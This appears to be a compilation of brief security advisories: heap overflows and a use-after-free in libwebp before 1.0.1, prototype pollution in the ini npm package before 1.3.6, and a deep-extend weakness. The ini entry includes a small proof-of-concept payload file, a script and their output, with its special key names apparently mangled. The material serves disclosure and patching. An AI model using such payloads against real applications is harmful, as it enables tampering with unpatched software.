A heap-based buffer overflow was found in libwebp in versions before 1.0.1 in PutLE16().

A flaw was found in libwebp in versions before 1.0.1. A use-after-free was found due to a thread being killed too early. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

A flaw was found in libwebp in versions before 1.0.1. A heap-based buffer overflow in function WebPDecodeRGBInto is possible due to an invalid check for buffer size. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

Overview The ini npm package before version 1.3.6 has a Prototype Pollution vulnerability.

If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

Patches

This has been patched in 1.3.6.

Steps to reproduce

payload.ini [proto] polluted = "polluted"

poc.js: var fs = require('fs') var ini = require('ini')

var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.proto) console.log(polluted)

node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted

Node.js deep-extend module could provide weaker than expected security, caused by a flaw in the Utilities function. A remote attacker could exploit this vulnerability to launch further attacks on the system.
